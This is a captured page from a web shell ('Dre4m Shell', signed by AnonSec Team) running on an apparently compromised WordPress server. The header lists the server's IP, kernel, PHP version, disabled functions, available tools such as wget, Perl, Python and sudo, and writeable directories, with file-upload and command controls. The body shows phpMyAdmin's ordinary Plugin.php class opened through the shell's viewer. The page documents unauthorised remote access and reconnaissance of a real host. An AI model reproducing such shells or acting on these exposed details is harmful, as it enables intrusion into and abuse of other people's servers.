Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.255.239
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/phpMyAdmin/libraries/classes/Server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/phpMyAdmin/libraries/classes/Server/Plugin.php
<?php
/**
 * Server Plugin value object
 * @package PhpMyAdmin\Server
 */
declare(strict_types=1);

namespace PhpMyAdmin\Server;

/**
 * Server Plugin value object
 * @package PhpMyAdmin\Server
 */
final class Plugin
{
    /**
     * @var string
     */
    private $name;

    /**
     * @var string|null
     */
    private $version;

    /**
     * @var string
     */
    private $status;

    /**
     * @var string
     */
    private $type;

    /**
     * @var string|null
     */
    private $typeVersion;

    /**
     * @var string|null
     */
    private $library;

    /**
     * @var string|null
     */
    private $libraryVersion;

    /**
     * @var string|null
     */
    private $author;

    /**
     * @var string|null
     */
    private $description;

    /**
     * @var string
     */
    private $license;

    /**
     * @var string|null
     */
    private $loadOption;

    /**
     * @var string|null
     */
    private $maturity;

    /**
     * @var string|null
     */
    private $authVersion;

    /**
     * @param string      $name           Name of the plugin
     * @param string|null $version        Version from the plugin's general type descriptor
     * @param string      $status         Plugin status
     * @param string      $type           Type of plugin
     * @param string|null $typeVersion    Version from the plugin's type-specific descriptor
     * @param string|null $library        Plugin's shared object file name
     * @param string|null $libraryVersion Version from the plugin's API interface
     * @param string|null $author         Author of the plugin
     * @param string|null $description    Description
     * @param string      $license        Plugin's licence
     * @param string|null $loadOption     How the plugin was loaded
     * @param string|null $maturity       Plugin's maturity level
     * @param string|null $authVersion    Plugin's version as determined by the plugin author
     */
    private function __construct(
        string $name,
        ?string $version,
        string $status,
        string $type,
        ?string $typeVersion,
        ?string $library,
        ?string $libraryVersion,
        ?string $author,
        ?string $description,
        string $license,
        ?string $loadOption,
        ?string $maturity,
        ?string $authVersion
    ) {
        $this->name = $name;
        $this->version = $version;
        $this->status = $status;
        $this->type = $type;
        $this->typeVersion = $typeVersion;
        $this->library = $library;
        $this->libraryVersion = $libraryVersion;
        $this->author = $author;
        $this->description = $description;
        $this->license = $license;
        $this->loadOption = $loadOption;
        $this->maturity = $maturity;
        $this->authVersion = $authVersion;
    }

    /**
     * @param array $state array with the properties
     * @return self
     */
    public static function fromState(array $state): self
    {
        return new self(
            $state['name'] ?? '',
            $state['version'] ?? null,
            $state['status'] ?? '',
            $state['type'] ?? '',
            $state['typeVersion'] ?? null,
            $state['library'] ?? null,
            $state['libraryVersion'] ?? null,
            $state['author'] ?? null,
            $state['description'] ?? null,
            $state['license'] ?? '',
            $state['loadOption'] ?? null,
            $state['maturity'] ?? null,
            $state['authVersion'] ?? null
        );
    }

    /**
     * @return array
     */
    public function toArray(): array
    {
        return [
            'name' => $this->getName(),
            'version' => $this->getVersion(),
            'status' => $this->getStatus(),
            'type' => $this->getType(),
            'type_version' => $this->getTypeVersion(),
            'library' => $this->getLibrary(),
            'library_version' => $this->getLibraryVersion(),
            'author' => $this->getAuthor(),
            'description' => $this->getDescription(),
            'license' => $this->getLicense(),
            'load_option' => $this->getLoadOption(),
            'maturity' => $this->getMaturity(),
            'auth_version' => $this->getAuthVersion(),
        ];
    }

    /**
     * @return string
     */
    public function getName(): string
    {
        return $this->name;
    }

    /**
     * @return string|null
     */
    public function getVersion(): ?string
    {
        return $this->version;
    }

    /**
     * @return string
     */
    public function getStatus(): string
    {
        return $this->status;
    }

    /**
     * @return string
     */
    public function getType(): string
    {
        return $this->type;
    }

    /**
     * @return string|null
     */
    public function getTypeVersion(): ?string
    {
        return $this->typeVersion;
    }

    /**
     * @return string|null
     */
    public function getLibrary(): ?string
    {
        return $this->library;
    }

    /**
     * @return string|null
     */
    public function getLibraryVersion(): ?string
    {
        return $this->libraryVersion;
    }

    /**
     * @return string|null
     */
    public function getAuthor(): ?string
    {
        return $this->author;
    }

    /**
     * @return string|null
     */
    public function getDescription(): ?string
    {
        return $this->description;
    }

    /**
     * @return string
     */
    public function getLicense(): string
    {
        return $this->license;
    }

    /**
     * @return string|null
     */
    public function getLoadOption(): ?string
    {
        return $this->loadOption;
    }

    /**
     * @return string|null
     */
    public function getMaturity(): ?string
    {
        return $this->maturity;
    }

    /**
     * @return string|null
     */
    public function getAuthVersion(): ?string
    {
        return $this->authVersion;
    }
}

Anon7 - 2022
AnonSec Team